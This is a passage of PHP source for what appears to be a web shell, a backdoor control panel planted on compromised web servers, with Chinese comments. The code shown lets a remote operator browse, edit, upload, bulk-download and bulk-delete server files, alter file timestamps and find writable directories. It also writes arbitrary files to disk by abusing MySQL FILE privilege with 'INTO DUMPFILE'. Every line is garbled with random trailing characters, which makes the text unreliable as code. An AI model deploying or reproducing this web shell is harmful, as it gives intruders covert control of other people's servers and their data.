  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));7 j; ~( e1 a6 D; C% I: ?& x
  328.                 }
    ) i% [- B# m; W3 q( L( R( {0 Z( T
  329.         }  N' t& n0 I7 W6 u* w
  330. , \: N. ]0 U/ |5 Y$ J4 U
  331.         // 打包下载) i  u: L3 o) |  c+ Y, i# A3 p1 E
  332.         elseif($doing == 'downrar') {0 L  t9 m( M6 Z
  333.                 if ($dl) {" H" H$ C( \1 i
  334.                         $dfiles='';
    5 s2 d/ R  p' \9 M1 G* }# n- I
  335.                         foreach ($dl as $filepath => $value) {. y3 B" D# x' @7 E( h3 J
  336.                                 $dfiles.=$filepath.',';7 O& u8 ~% k) q/ X6 T7 N  V
  337.                         }
    " n- F* k% K5 X  r- q; R
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
    5 C9 _/ }# A& T) v) m. @3 p
  339.                         $dl=explode(',',$dfiles);! M% u; u0 J5 z- x6 U/ [
  340.                         $zip=new PHPZip($dl);
      G, H( z, F. j
  341.                         $code=$zip->out;
    ' A/ |2 L6 j* o% \9 }, b+ }3 F4 d
  342.                         header('Content-type: application/octet-stream');- u& g9 ?! e2 s
  343.                         header('Accept-Ranges: bytes');
      U5 p6 z- ^, \' c3 f( x" h( Z
  344.                         header('Accept-Length: '.strlen($code));" a9 v% b2 y2 O) O
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');; ~  I9 E9 N$ T
  346.                         echo $code;4 d; Q, s1 e' b. E0 G
  347.                         exit;
    ) N3 I2 M- [' Z9 I
  348.                 } else {
    7 v% M; b. T1 D2 M) Z/ E! ]5 q4 a
  349.                         m('Please select file(s)');- a; D5 Y5 T3 M, ?
  350.                 }  g) l) N: ^$ A. P
  351.         }
    ( o$ n' r) H: y) w) D

  352. - \1 F. J6 _  J/ W
  353.         // 批量删除文件
    4 p  V& q! W6 c9 o2 }( ^1 S  `" B
  354.         elseif($doing == 'delfiles') {. ~, R" e. l- S
  355.                 if ($dl) {: `' @# _  |9 A0 t, d& \
  356.                         $dfiles='';
    3 |' u0 f! }* g) W
  357.                         $succ = $fail = 0;
    3 F2 Q8 c9 C2 f- R5 K, r4 x
  358.                         foreach ($dl as $filepath => $value) {
      U. J% [9 A. u* @$ {- _
  359.                                 if (@unlink($filepath)) {
      j: W6 [4 f+ {; Z: U
  360.                                         $succ++;
    6 s6 k0 T( @# @* x6 K; f
  361.                                 } else {
    ) T. n0 |! I0 ]: [
  362.                                         $fail++;2 H2 O& _5 W# D9 U! o& Q
  363.                                 }
    ; T2 _* g% l5 F2 ?' ], G
  364.                         }
    - C$ {6 ~" o% f
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);$ m2 a: W& p: e. A6 h. u2 J
  366.                 } else {2 p6 v% y! q6 E+ w5 J
  367.                         m('Please select file(s)');
      I6 D+ X1 E! Q6 l" n$ F! e, K
  368.                 }$ V6 g3 V' J8 l0 s( L
  369.         }
    % R7 k: V* D6 [4 n( q* _! o
  370. * K, x2 x5 X% s8 H% e& I
  371.         //操作完毕
    $ F4 |6 k' z% o% Q% z
  372.         formhead(array('name'=>'createdir'));( A# W1 r2 X* s) o+ f9 e5 i7 f
  373.         makehide('newdirname');* W& {/ o, n9 I3 i$ G. {
  374.         makehide('dir',$nowpath);
    $ q% _$ f& u1 g1 {; p( X
  375.         formfoot();5 y5 c3 S2 {% s
  376.         formhead(array('name'=>'fileperm'));% g, p% P3 k# T+ T) F- @% g
  377.         makehide('newperm');
    ( ~4 H! z9 W9 }8 g
  378.         makehide('pfile');
    7 H8 E+ c( X- h( [# s
  379.         makehide('dir',$nowpath);" a% R2 X" M0 q/ M9 y
  380.         formfoot();0 ^! D6 i# i! l7 p. w9 P
  381.         formhead(array('name'=>'copyfile'));, `) Q8 G# Y8 ^8 l" f( u
  382.         makehide('sname');4 H1 G% E) \. ~7 e( V$ q2 N! A
  383.         makehide('tofile');0 v3 f9 I2 z' U2 R4 [0 m9 n3 J, u
  384.         makehide('dir',$nowpath);* r5 m0 M3 p. c+ _6 Q: O; Y9 _
  385.         formfoot();
    % p6 s6 e; j! k& C
  386.         formhead(array('name'=>'rename'));' y& ~& z& H, `# S1 q9 {2 h
  387.         makehide('oldname');
    / Y8 O) q- g5 [4 n( _1 e+ V
  388.         makehide('newfilename');& b9 Q7 E0 j, R* L2 j0 i- C3 C
  389.         makehide('dir',$nowpath);
    * d. [0 y' |% _, a+ V. K" A2 z$ Y9 p
  390.         formfoot();
      `; ?! V4 o% o. Z! m" {* a
  391.         formhead(array('name'=>'fileopform'));3 i. z9 z. Z9 o6 i' X
  392.         makehide('action');, @* D* `. ]  c. v$ {' }; i* k# E; N
  393.         makehide('opfile');
    - n: |. F9 G5 b5 _3 d
  394.         makehide('dir');; K" A, v3 h4 g
  395.         formfoot();
    8 a9 w6 \; ^2 M5 g2 l1 b
  396. . n$ `% V& ^' B3 X; a
  397.         $free = @disk_free_space($nowpath);
    0 }3 r, C, k4 K. q- |9 E/ m" g6 Y
  398.         !$free && $free = 0;
    ' Q3 e! }( q; K6 k- ~) `( U
  399.         $all = @disk_total_space($nowpath);
    # p+ w: m+ H$ ?- A3 Z
  400.         !$all && $all = 0;; I+ D7 B6 h2 O
  401.         $used = $all-$free;! x: c1 [$ w7 x
  402.         $used_percent = @round(100/($all/$free),2);9 C. o% y( Y& Q6 Q* J
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
    - R1 C3 G6 S/ \' N. ~
  404. 3 [, N* N( O: B. s, T$ _1 ?
  405. ?>- Y' p  t7 d9 L, ]9 B8 |1 y
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">+ o1 a( s% n( s/ G- X6 U% f
  407.   <form action="" method="post" id="godir" name="godir">
    6 Q5 e% \0 ^' l
  408.   <tr>
    1 d7 H5 E- w( T) s0 ~5 C$ s, X
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
      d8 W3 |  ?: t9 D/ Q
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    2 Z: p, J- ~7 M# n( W
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>; ^' W( I7 E, S; W. L
  412.   </tr>
    $ }5 q/ u- i% a
  413.   </form>
    $ b' {1 o. K" ^1 P6 [4 s: r
  414. </table>
    ' F3 x6 y. s6 N+ a- T% S0 U
  415. <script type="text/javascript">
    + P2 i! r) s) B! f3 Q
  416. function createdir(){
    & D$ J( T9 M# a' e
  417.         var newdirname;
    + ~: u! y/ {$ s: q
  418.         newdirname = prompt('Please input the directory name:', '');' u* O8 y& s, L
  419.         if (!newdirname) return;
    ; F1 |( C1 ~( J! k# }% Y
  420.         $('createdir').newdirname.value=newdirname;
    : o& L+ U/ [, q$ [
  421.         $('createdir').submit();
    3 ?6 }/ O4 q# U  h0 i; y
  422. }
    ! P7 i9 Z. i  s0 O/ W9 n
  423. function fileperm(pfile){  C8 f) R+ K1 O( G9 R6 L: ~5 L0 V2 K
  424.         var newperm;0 g7 S: U. \8 E  \1 V$ R
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
    , D$ Q  l) a1 o% Q9 x& v
  426.         if (!newperm) return;% X  X- p1 v# q. n
  427.         $('fileperm').newperm.value=newperm;
    6 I* c; W2 {- \% x  Q1 X- T: P+ h
  428.         $('fileperm').pfile.value=pfile;
    ; \' Q+ P( y) n% v* n8 t- @
  429.         $('fileperm').submit();9 @: t8 O: o/ r6 W
  430. }9 l# t9 @: J- M3 c; R. ]% A1 e
  431. function copyfile(sname){
    6 {* n# z3 H5 u+ T9 W7 T, t/ _! G
  432.         var tofile;5 d# z4 z# ]9 I
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');- ~) y9 |: p: j
  434.         if (!tofile) return;
    - D3 f% t& p$ }+ o/ |* M
  435.         $('copyfile').tofile.value=tofile;
    ( ]4 T! ]/ z* z& ?3 u7 g1 v2 J
  436.         $('copyfile').sname.value=sname;
    - v; n  q0 J' @8 Q: o0 ^. f
  437.         $('copyfile').submit();, I1 t* R" W# `! \
  438. }/ F( ~+ n7 [2 K  A
  439. function rename(oldname){
    0 C  z2 M0 s  M! G+ N
  440.         var newfilename;
    - U+ {0 L. e+ L. y1 ^! x3 e
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');8 a& c& J5 x8 Z
  442.         if (!newfilename) return;
    6 @0 ?; m2 d- x% ~* s# v3 K
  443.         $('rename').newfilename.value=newfilename;
    # j* X- }- t* \/ O
  444.         $('rename').oldname.value=oldname;7 z( p; i3 |! f. n+ G2 z
  445.         $('rename').submit();
    4 Q! x% [8 }/ c: V' v% N
  446. }3 e' `, G9 |" G9 H8 z8 `  G
  447. function dofile(doing,thefile,m){
    6 O; O# |! @& k
  448.         if (m && !confirm(m)) {
    + ^$ @" u% M: R* U+ P7 o* B. f
  449.                 return;/ @* g  ^! g0 Q
  450.         }; p# v/ D+ N0 Q, u, T
  451.         $('filelist').doing.value=doing;; }& d5 i3 [7 C4 k
  452.         if (thefile){
    ' x5 X& Z  s. L7 J
  453.                 $('filelist').thefile.value=thefile;0 a' q( n4 H# t. j* e' x
  454.         }$ d" F( q6 S% K" T
  455.         $('filelist').submit();: N- c0 x7 d% |! u& k* S. `
  456. }8 }. S3 [) c# P( p1 q$ w8 L: r- h
  457. function createfile(nowpath){2 J+ G  S9 a; G! d
  458.         var filename;/ G, Z# k( v7 ~. ?
  459.         filename = prompt('Please input the file name:', '');
    ! E$ ^" r0 x5 V
  460.         if (!filename) return;
    5 B7 v0 b3 d" r  X" O3 t. d  R
  461.         opfile('editfile',nowpath + filename,nowpath);
    / g8 W2 `0 K7 F
  462. }8 h% F1 o( [" L6 n
  463. function opfile(action,opfile,dir){' K4 L& J# q: u& a9 H
  464.         $('fileopform').action.value=action;
    , g$ J1 `0 d7 Y, A1 ^# ]
  465.         $('fileopform').opfile.value=opfile;
    ( [) o/ Q& b2 d) o. u# _; b: P
  466.         $('fileopform').dir.value=dir;
    - Y0 Z; j: ^. B
  467.         $('fileopform').submit();4 S$ z5 V  o; R! Y
  468. }4 Y" h' k9 p, ]3 g& i
  469. function godir(dir,view_writable){
    9 o" p" g& N- \% u! I" ^; c+ H+ v
  470.         if (view_writable) {
    $ A; |& n  c6 y5 X
  471.                 $('godir').view_writable.value=1;
    . |9 h- q9 u8 z
  472.         }
    1 }! Y/ q' u& }, k/ ?
  473.         $('godir').dir.value=dir;
    1 o  B. C4 s, N& z9 W3 L* M& @2 M
  474.         $('godir').submit();" R# \3 A& g; q' `8 n
  475. }
    # ~7 i/ D0 h4 B+ I3 T. t1 u1 u
  476. </script>
    % j# z: r* f$ ^1 J; x& Q; A0 a
  477.   <?php
    $ _. g: [2 r# e8 U
  478.         tbhead();
    $ C* n9 m4 W" n0 \5 [
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');9 B: ~; x) R; S* W% i* S2 N' O5 [( R! P
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');: b. Y0 @1 Z4 s7 W1 z/ t1 i
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');2 c8 c2 U4 G& y3 j' r& r* {
  482.         if ($view_writable) {
    * c7 S. v: ]+ g7 A: J- W
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
    ' b& t% [$ g& H' U' a" G# P
  484.         } else {- q$ Y$ n  g# F+ o* |$ B* ]# ?# U
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
    ' j" O1 P  ~9 Z4 }" k; q0 z
  486.         }
    $ Y  Y) u, A  ]! n; S$ e
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
    " L- s" k& {) O
  488.         if (IS_WIN && IS_COM) {; \- g5 K+ u2 S' Q* P
  489.                 $obj = new COM('scripting.filesystemobject');. [: k3 X" f8 V2 f5 C5 X
  490.                 if ($obj && is_object($obj)) {$ L6 W8 d' ~0 F, o: c
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
    9 c# `8 i0 J; g' n  S  n
  492.                         foreach($obj->Drives as $drive) {4 Z% n( w4 c4 J' Q6 h+ G
  493.                                 if ($drive->DriveType == 2) {9 k  q4 u2 D6 o
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'( n- h" u6 B2 ^* F6 d- c; t
  495. Free:'.sizecount($drive->FreeSpace).'" Q. j& h; V9 I& `
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
      |$ a$ T( d/ h. t# Q+ \1 \9 J
  497.                                 } else {) E7 _  C9 M$ C
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    9 \) e! i  E1 D" p+ |' S& `
  499.                                 }4 Z- u/ h" d: P
  500.                         }
    ; M- w6 l; z/ s5 T  y" X% r+ N
  501.                 }
    6 V8 X  N3 b1 f( w8 y
  502.         }
    7 \, R. s9 g/ }, X2 _

  503. 0 U1 ?& D: Q& K+ H2 z4 n8 j. T0 }9 u
  504.         p('</td></tr></form>');
    # u& P3 D3 S0 z" d( f; u
  505. 3 L) B. `5 ^8 a2 b# I
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
    6 a% n" B+ T2 I$ l$ c; Q2 F

  507. ; B/ a  ~$ S% |. B8 M' H# s- Y7 G
  508.         //查看所有可写文件和目录
    . ]3 o7 C& ^, c( E' w
  509.         $dirdata=array();# E5 h4 F+ L% u6 G; t0 n
  510.         $filedata=array();
      P) V4 @. D; H8 ^. x* \: T
  511. 7 l; }/ {3 K& B( h
  512.         if ($view_writable) {
    2 t3 d/ r$ X% G" m, a1 r2 W
  513.                 $dirdata = GetList($nowpath);4 [7 A2 _  l6 y9 q  l+ z* y7 N
  514.         } else {) H9 y  Q: Z! D
  515.                 // 目录列表8 B; d, i4 n3 `: d
  516.                 $dirs=@opendir($dir);- w$ D0 y/ O# ]
  517.                 while ($file=@readdir($dirs)) {
    ' V; |9 W4 X* d7 R/ |$ D
  518.                         $filepath=$nowpath.$file;
    # N! |' }) }' D4 e" V2 a* D
  519.                         if(@is_dir($filepath)){
    & h' t5 Z* S# }  P7 n
  520.                                 $dirdb['filename']=$file;- E1 R! }- f& g; g. C! ~, f
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));% g0 B3 x- [( ]! i3 b- o  p0 B
  522.                                 $dirdb['dirchmod']=getChmod($filepath);8 }5 E" d4 e( Y, M) h8 }( @
  523.                                 $dirdb['dirperm']=getPerms($filepath);
    # p5 x8 `1 X) A: y
  524.                                 $dirdb['fileowner']=getUser($filepath);
    * F- H: h  S% n; o7 j
  525.                                 $dirdb['dirlink']=$nowpath;6 F3 X6 b2 Q: ?8 a, z
  526.                                 $dirdb['server_link']=$filepath;
    6 m, p0 P, q" i7 y& n) u2 J1 |
  527.                                 $dirdb['client_link']=ue($filepath);
    0 [0 N5 R) a/ b5 ]$ i
  528.                                 $dirdata[]=$dirdb;
    : U2 M+ D0 f6 X) w( G3 Q
  529.                         } else {                & s2 ~" @8 h( I- h
  530.                                 $filedb['filename']=$file;3 b2 _+ n& @0 Y; j; H
  531.                                 $filedb['size']=sizecount(@filesize($filepath));
    " k( \; O, M- Y: O( n
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));+ j5 D0 C! V# r2 ~- t
  533.                                 $filedb['filechmod']=getChmod($filepath);
    & g6 m& I9 ?3 d  c$ d. i9 R
  534.                                 $filedb['fileperm']=getPerms($filepath);- O* j/ P" v1 l% k
  535.                                 $filedb['fileowner']=getUser($filepath);! u7 ~; a! }. P. F# ~* A3 |
  536.                                 $filedb['dirlink']=$nowpath;
    6 G$ C5 w+ m+ Q1 J1 f
  537.                                 $filedb['server_link']=$filepath;
    / C+ z4 p. ?: G
  538.                                 $filedb['client_link']=ue($filepath);$ R0 M( I5 |/ L1 h
  539.                                 $filedata[]=$filedb;
    % u% P0 g% U  E
  540.                         }
    % `5 M: @; D' b$ z
  541.                 }// while+ ^) I: }, y5 A7 q' p! V
  542.                 unset($dirdb);( G6 }- q% m7 u+ ?6 v( S! Y
  543.                 unset($filedb);) }, I! |3 n* @6 K1 i
  544.                 @closedir($dirs);# V' F. m2 ]' K
  545.         }. t/ L2 o; Y: x. K0 b$ |
  546.         @sort($dirdata);
    4 t+ j9 B$ d! C) z& v" D0 U
  547.         @sort($filedata);+ `$ U0 @' a9 q+ T8 S8 \: Y
  548.         $dir_i = '0';1 G% Q* T* @2 v7 e+ [1 p& U8 v% N. D
  549.         foreach($dirdata as $key => $dirdb){* R/ o5 H4 Q1 i" g7 r
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
    - D  c( l; o+ y# {: C! y
  551.                         $thisbg = bg();5 i" }" c: |) i) v& u
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    / A# r. P. a# b7 t
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');7 g8 z% g6 U: M2 S6 H; x
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');0 W- Y' o4 ?+ y9 Z$ h" e, j
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');5 I/ e: G5 R9 Z: ?: J
  556.                         p('<td nowrap>--</td>');$ Q9 r# r9 E6 w  z2 H. K6 ^. R7 _" c
  557.                         p('<td nowrap>');
    + P1 \# r8 e. @% ?
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');, J. M/ w+ H$ s1 Y
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
    ! V) F" E( [6 B: f
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');9 \% A1 L) `& m) G8 F9 J; R
  561.                         p('</tr>');/ z% {  d# d2 J* c0 W* l
  562.                         $dir_i++;
    . _+ u! E+ w. x. h, i* n
  563.                 } else {" @0 o0 V7 W) D4 i  F
  564.                         if($dirdb['filename']=='..') {8 I! @; H/ Z; a+ D4 j' Z
  565.                                 p('<tr class='.bg().'>');
    4 A/ U( X; q& }1 Y- \
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');5 Z/ ]- _9 w% {& O4 F
  567.                                 p('</tr>');* s9 _3 e9 |6 c( h9 D! F
  568.                         }
    9 o" Y0 p9 g7 C* H% ]0 M6 r/ _0 }
  569.                 }9 p5 N- ^3 f: C0 i! Q+ E: @
  570.         }- j0 v. \. L" R" Q* @& ^& P/ ?

  571. , C4 K5 f2 f+ T3 G
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
    6 I- m( a6 ~5 w# q1 E
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');; ^: ~( v6 _, z
  574.         makehide('action','file');
    6 \$ M3 k0 F3 [: {
  575.         makehide('thefile');1 m8 I& i) }8 l. M* M+ V% Q  z# g
  576.         makehide('doing');* H4 s- z* k( [9 B8 L
  577.         makehide('dir',$nowpath);" ^4 N5 M' x- r4 J% w8 [
  578.         $file_i = '0';
    8 D2 j1 {2 `- q3 Q' d0 o; Q9 w
  579.         foreach($filedata as $key => $filedb){' B* u8 l/ s. P" x
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {# |0 K6 {# R5 x& ~! \8 n
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
    + c( a9 ?7 [% I- N# @$ X2 J
  582.                         $thisbg = bg();
    6 K/ n* E) G, H
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');" r$ L6 o7 h6 _% U& w- Q9 d
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');4 L( T; A( C. Q8 Q, z, r
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
    ; X* A6 |1 U) h7 _
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');
    4 l8 g: l3 k. Q- @
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');; z4 N3 {, ~8 R3 f, {9 D2 j
  588.                         p('<td nowrap>');  W0 r) n4 W/ m3 j
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
    - ~* F+ u; V: y. O2 }
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
    ) B$ q4 o0 B' H+ `: C& a+ A
  591.                         p('<td nowrap>');
    6 m2 w2 H1 G0 d  t" `3 h8 _
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
    + `' C# R9 W3 Y% d+ o, ]4 S* U$ q
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');, U7 K+ \  u9 u# Y7 t
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');# i" z. G3 g+ C# g
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
    " E- |- X9 ^0 I! P8 o: d' c
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');, r/ l: J+ A0 _1 p! ~
  597.                         p('</td></tr>');
    * }  Z+ S2 U! G8 K/ C
  598.                         $file_i++;. L) r' @/ x0 h/ U; L( O
  599.                 }
    3 i, K1 r: ~. Z) H& P: u" Z3 \
  600.         }# o4 o1 J2 Y8 {5 ]/ L) w
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');. b3 n7 x) |" q- l# I1 z
  602.         p('</form></table>');9 \# O4 X) i, J9 V( r. d7 R6 l5 D
  603. }// end dir
    . M% [8 M& `# k# h4 I( U+ J
  604. 6 k& ^  n0 A  ~" K+ x4 K$ {
  605. elseif ($action == 'sqlfile') {& h5 }; X, i' k4 @) P# ]
  606.         if($doing=="mysqlupload"){4 Q, B  q, e* _1 ~, s7 n- J0 T. t. N0 x
  607.                 $file = $_FILES['uploadfile'];
    : b1 v% P& [0 w+ a+ r! l
  608.                 $filename = $file['tmp_name'];
      C; z7 N1 _+ j- t' P) Q, Y% }# E
  609.                 if (file_exists($savepath)) {/ U" l  O( S' p. ^& y
  610.                         m('The goal file has already existed');
    4 T8 }$ E. z: u6 i
  611.                 } else {+ m& p/ f, M0 C- K' W
  612.                         if(!$filename) {
    6 D" u% ?: t6 S3 ~
  613.                                 m('Please choose a file');3 Z) q! Q, @0 g$ b! ^! p0 ^
  614.                         } else {; a) F1 o- w" d, x+ e) p
  615.                                 $fp=@fopen($filename,'r');8 z3 s* x; O0 }& H0 M9 r1 M- _$ b
  616.                                 $contents=@fread($fp, filesize($filename));
    : Q+ h  i2 z& q& P0 o
  617.                                 @fclose($fp);
    9 u; R9 O5 P$ ]$ e6 ~# {
  618.                                 $contents = bin2hex($contents);
    1 h' t& C- Z6 N: |# o6 v
  619.                                 if(!$upname) $upname = $file['name'];$ t& ~6 q3 l' U& ?! n" X
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
    / |* s" [  w- o
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");3 H' o' Y) h' e( b$ ~7 T
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());  I: }) B* g. X3 b. ^: p
  623.                         }
    " [3 A9 K) R9 Y  {+ f6 q# F" y
  624.                 }; P  `7 l$ b6 B4 p7 ^& |+ t; Y
  625.         }
    ) D' _: Z; @2 R2 c
  626. ?>
    1 O/ |$ ?1 c1 q1 l  x2 {7 h* d
  627. <script type="text/javascript">7 G* ?$ L: D! ~7 U3 G
  628. function mysqlfile(doing){
      p! |/ V8 ^: s2 Z  T  `
  629.         if(!doing) return;3 v% J5 W: a8 z1 A9 Y( L& c
  630.         $('doing').value=doing;
    $ |* v( Z  Q8 t! H9 H  n
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
    , z' B& t" H9 X, o: h
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
    / H2 m( d2 H6 K$ Y5 \: L
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
    ' _2 P+ w+ y$ E
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
    4 }% W8 l% o$ Q
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
    : Q" g- S0 ?& L9 s" I
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;+ x3 E6 h+ R) ?
  637.         $('mysqlfile').submit();% Y5 J. [& p" U& b. R
  638. }9 V! `3 o1 _( w  D) U
  639. </script>
    + E' c% E9 a3 F8 G+ [. r( `1 @+ I
  640. <?php
    3 _2 f9 I, ~' z- M5 K
  641.         !$dbhost && $dbhost = 'localhost';* D8 a, H+ w6 Y
  642.         !$dbuser && $dbuser = 'root';3 N3 Y6 P) D+ ]- t3 s  Z5 h
  643.         !$dbport && $dbport = '3306';
    1 N  e) m# G! K, i
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    ( V+ I/ t! H5 P! d) G
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
    5 [4 `# q9 K! h% Q. m3 f. H( M. E
  646.         makehide('action','sqlfile');" f; o8 }; V6 o6 Z( g
  647.         p('<p>');/ R2 s+ H& D. t4 g# L2 n$ Z
  648.         p('DBHost:');
    9 ?! Z; e4 {& v3 w2 A- ^  O1 S
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));% ?( d! H, |' a6 m/ V9 A" R
  650.         p(':');6 d' X' l+ F. X4 V, Y& q- G+ _
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));. v+ a/ N, f1 N9 p/ e3 P* X
  652.         p('DBUser:');
    2 k& q. Y9 W/ `# d0 Q% q$ T
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));$ Q, j3 G/ ^. w. t: s" d
  654.         p('DBPass:');
    , Y1 a: f5 ~, Q6 A' M, [: [
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));% M0 I2 C4 @" }. F% ]* D) C
  656.         p('DBName:');0 }1 W3 {" ?8 x9 c6 O; j
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
    ; D  A, H2 E. F) s) ^3 Z  v6 F
  658.         p('DBCharset:');; O9 U8 p$ q, h7 a
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    " j& a  e3 O, _
  660.         p('</p>');
    ! U  ~7 h5 m8 l  x; o
  661.         formfoot();9 J' w; z! a! @9 N4 n* D% z
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');0 i" d/ A/ T2 @; l
  663.         p('<h2>Upload file</h2>');
    6 o2 L- [0 x! H6 l& ?
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
    $ |; p" i" T; n7 ~& o. {! t2 r1 L
  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');4 c9 z+ t% V! R/ i% J9 q
  666.         p('<h2>Download file</h2>');7 j& T2 [6 f, X/ ~& I: I
  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
    ; f. H% ^+ a2 \4 o( [( g  S
  668.         makehide('dbhost');
